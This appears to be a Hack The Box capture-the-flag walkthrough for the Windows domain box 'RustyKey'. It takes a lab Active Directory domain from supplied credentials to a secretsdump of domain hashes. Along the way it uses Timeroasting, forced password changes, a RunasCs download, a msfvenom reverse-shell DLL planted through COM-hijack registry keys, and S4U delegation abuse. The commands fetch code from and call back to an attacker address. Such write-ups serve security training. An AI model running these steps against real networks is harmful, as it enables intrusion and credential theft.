HTB-RustyKey

HTB-RustyKey
eugewxBox Info
| Difficulty | Hard |
|---|---|
| OS | Windows |
| IP Address | 10.10.11.75 |
Port Scanning
1 | # Check all open TCP |
Update DNS
1 | sudo nano /etc/hosts |
Update krb5.conf
1 | [libdefaults] |
Credentials
As is common in real life Windows pentests, you will start the RustyKey box with credentials for the following account
1 | rr.parker : 8#t5HE8L!W3A |
Service Enumeration
389/tcp - LDAP
1 | ldapsearch -x -H ldap://10.10.11.75 -D 'rr.parker@rustykey.htb' -w '8#t5HE8L!W3A' -b 'dc=rustykey,dc=htb' "(objectClass=user)" userPrincipalName |
Result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97# Administrator, Users, rustykey.htb
dn: CN=Administrator,CN=Users,DC=rustykey,DC=htb
# Guest, Users, rustykey.htb
dn: CN=Guest,CN=Users,DC=rustykey,DC=htb
# DC, Domain Controllers, rustykey.htb
dn: CN=DC,OU=Domain Controllers,DC=rustykey,DC=htb
# krbtgt, Users, rustykey.htb
dn: CN=krbtgt,CN=Users,DC=rustykey,DC=htb
# Support-Computer1, Computers, Support, rustykey.htb
dn: CN=Support-Computer1,OU=Computers,OU=Support,DC=rustykey,DC=htb
# Support-Computer2, Computers, Support, rustykey.htb
dn: CN=Support-Computer2,OU=Computers,OU=Support,DC=rustykey,DC=htb
# Support-Computer3, Computers, Support, rustykey.htb
dn: CN=Support-Computer3,OU=Computers,OU=Support,DC=rustykey,DC=htb
# Support-Computer4, Computers, Support, rustykey.htb
dn: CN=Support-Computer4,OU=Computers,OU=Support,DC=rustykey,DC=htb
# Support-Computer5, Computers, Support, rustykey.htb
dn: CN=Support-Computer5,OU=Computers,OU=Support,DC=rustykey,DC=htb
# Finance-Computer1, Computers, Finance, rustykey.htb
dn: CN=Finance-Computer1,OU=Computers,OU=Finance,DC=rustykey,DC=htb
# Finance-Computer2, Computers, Finance, rustykey.htb
dn: CN=Finance-Computer2,OU=Computers,OU=Finance,DC=rustykey,DC=htb
# Finance-Computer3, Computers, Finance, rustykey.htb
dn: CN=Finance-Computer3,OU=Computers,OU=Finance,DC=rustykey,DC=htb
# Finance-Computer4, Computers, Finance, rustykey.htb
dn: CN=Finance-Computer4,OU=Computers,OU=Finance,DC=rustykey,DC=htb
# Finance-Computer5, Computers, Finance, rustykey.htb
dn: CN=Finance-Computer5,OU=Computers,OU=Finance,DC=rustykey,DC=htb
# IT-Computer1, Computers, IT, rustykey.htb
dn: CN=IT-Computer1,OU=Computers,OU=IT,DC=rustykey,DC=htb
# IT-Computer2, Computers, IT, rustykey.htb
dn: CN=IT-Computer2,OU=Computers,OU=IT,DC=rustykey,DC=htb
# IT-Computer3, Computers, IT, rustykey.htb
dn: CN=IT-Computer3,OU=Computers,OU=IT,DC=rustykey,DC=htb
# IT-Computer4, Computers, IT, rustykey.htb
dn: CN=IT-Computer4,OU=Computers,OU=IT,DC=rustykey,DC=htb
# IT-Computer5, Computers, IT, rustykey.htb
dn: CN=IT-Computer5,OU=Computers,OU=IT,DC=rustykey,DC=htb
# rr.parker, Users, rustykey.htb
dn: CN=rr.parker,CN=Users,DC=rustykey,DC=htb
userPrincipalName: rr.parker@rustykey.htb
# mm.turner, Users, rustykey.htb
dn: CN=mm.turner,CN=Users,DC=rustykey,DC=htb
userPrincipalName: mm.turner@rustykey.htb
# bb.morgan, Users, IT, rustykey.htb
dn: CN=bb.morgan,OU=Users,OU=IT,DC=rustykey,DC=htb
userPrincipalName: bb.morgan@rustykey.htb
# gg.anderson, Users, IT, rustykey.htb
dn: CN=gg.anderson,OU=Users,OU=IT,DC=rustykey,DC=htb
userPrincipalName: gg.anderson@rustykey.htb
# dd.ali, Users, Finance, rustykey.htb
dn: CN=dd.ali,OU=Users,OU=Finance,DC=rustykey,DC=htb
userPrincipalName: dd.ali@rustykey.htb
# ee.reed, Users, Support, rustykey.htb
dn: CN=ee.reed,OU=Users,OU=Support,DC=rustykey,DC=htb
userPrincipalName: ee.reed@rustykey.htb
# nn.marcos, Users, rustykey.htb
dn: CN=nn.marcos,CN=Users,DC=rustykey,DC=htb
userPrincipalName: nn.marcos@rustykey.htb
# backupadmin, Users, rustykey.htb
dn: CN=backupadmin,CN=Users,DC=rustykey,DC=htb
userPrincipalName: backupadmin@rustykey.htb
# search reference
ref: ldap://ForestDnsZones.rustykey.htb/DC=ForestDnsZones,DC=rustykey,DC=htb
# search reference
ref: ldap://DomainDnsZones.rustykey.htb/DC=DomainDnsZones,DC=rustykey,DC=htb
# search reference
ref: ldap://rustykey.htb/CN=Configuration,DC=rustykey,DC=htb
Bloodhound
Correct Clock Skew
1 | sudo timedatectl set-ntp 0 |
Obtain ticket
1 | impacket-getTGT rustykey.htb/rr.parker:'8#t5HE8L!W3A' |
Enumerate Domain info
1 | bloodhound-python -u "rr.parker" -p '8#t5HE8L!W3A' -d rustykey.htb -c All --zip -ns 10.10.11.75 -k |
Extract users list
1 | ldapsearch -D rustykey\\rr.parker -H ldap://10.10.11.75 -w '8#t5HE8L!W3A' -b 'CN=Users,DC=rustykey,DC=htb' | grep name: | sed 's/^name: //' | grep -vE 'D|C|A|U' > users.txt |
IT-COMPUTER3 OU can add itself to Helpdesk Group
Once obtained Helpdesk User Groups will gain the privilege to DD.ALI BB.MORGAN GG.ANDERSON and EE.REED
MM.TURNER user has AddAllowedToAct rights on the Domain Controller
BB.MORGAN GG.ANDERSON and EE.REED had the privilege to Win-RM
Initiate User Foothold
Timeroasting of IT-COMPUTER3$
https://github.com/SecuraBV/Timeroast
Timeroasting takes advantage of Windows’ NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer or trust account by sending an NTP request with that account’s RID. This is not a problem when computer accounts are properly generated, but if a non-standard or legacy default password is set this tool allows you to brute-force those offline.
Prep for the environment
1 | git clone https://github.com/SecuraBV/Timeroast |
Inside the extra-scripts directory, there is a timecrack.py which we will use it to timeroast
1 |
|
1 | python3 timeroast.py 10.10.11.75 -o rustykey.hashes |
Here we get the password Rusty88! and checked bloodhound on the RID 1125 found it is belongs to IT-COMPUTER3$
Here we can abuse this password to add IT-COMPUTER3$ to the HELPDESK group
AddSelf to HELPDESK
1 | bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember HELPDESK 'IT-COMPUTER3$' |
ForceChangePassword to BB.MORGAN
1 | bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password BB.MORGAN 'Password123' |
Remove Protected Objects
1 | bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT' |
Now we can obtain BB.MORGAN kerberos ticket
1 | impacket-getTGT 'RUSTYKEY.HTB/BB.MORGAN:Password123' |
BB.MORGAN shell
1 | export KRB5CCNAME=BB.MORGAN.ccache |
User Flag
Privilege Escalation
internal.pdf
From the user desktop found a internal.pdf file
Use WinRM transfer to KALI
1 | download internal.pdf |
It is an memo from BB.MORGAN to support-team
The memo describes that the Support Group temporarily receives extended rights such as access to Registry Keys and from bloodhound we know that EE.REED user is belongs to the SUPPORT group
Here we will remove SUPPORT from protected objects, and abuse HELPDESK group to ForceChangePassword for the EE.REED user. Then go into EE.REED with WinRM sessions
EE.REED Shell
1 | # Add IT-COMPUTER3$ OU to the HELPDESK again |
1 | # ForceChangePassword user EE.REED |
1 | impacket-getTGT -dc-ip 10.10.11.75 rustykey.htb/ee.reed:'P@ssword123' |
1 | export KRB5CCNAME=ee.reed.ccache |
Looks like we cannot establish EE.REED shell with winrm, upon checking writeups, seems only can execute with RunasCs via our existing shell with BB.MORGAN
Upload RunasCS.exe
1 | iwr -uri http://10.10.14.11/RunasCs.exe -o RunasCs.exe |
MM.TURNER Shell
Prep for msfconsole
1 | msfconsole |
We can setup DLL-based meterpreter backdoor via a COM hijacking vulnerability
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.11 LPORT=4445 -f dll -o rev.dll |
Add the DLL path to registry
1 | reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Tools\rev.dll" /f |
After a few seconds, we will get a Revshell, here we need to be quick as the session will died quick.
1 | Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$ |
Now MM.TURNER should have the AddAllowToAct privilege into RUSTYKEY Domain Controller
Initiate Root Foothold
Impersonate Domain Admin Account
Here we will use S4U2Self to impersonate domain admin account
1 | impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!' |
1 | export KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache |
Here we can abuse the ESC1 Technique for Alternative DCSync (Mimikatz).
Unintention way - Backupadmin Shell
1 | impacket-wmiexec -k -no-pass 'RUSTYKEY.HTB/backupadmin@dc.rustykey.htb' |
backupadmin have the privilege to access Administrator path
Secretsdump
1 | impacket-secretsdump -k -no-pass 'RUSTYKEY.HTB/backupadmin@dc.rustykey.htb' |
1 | Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies |

































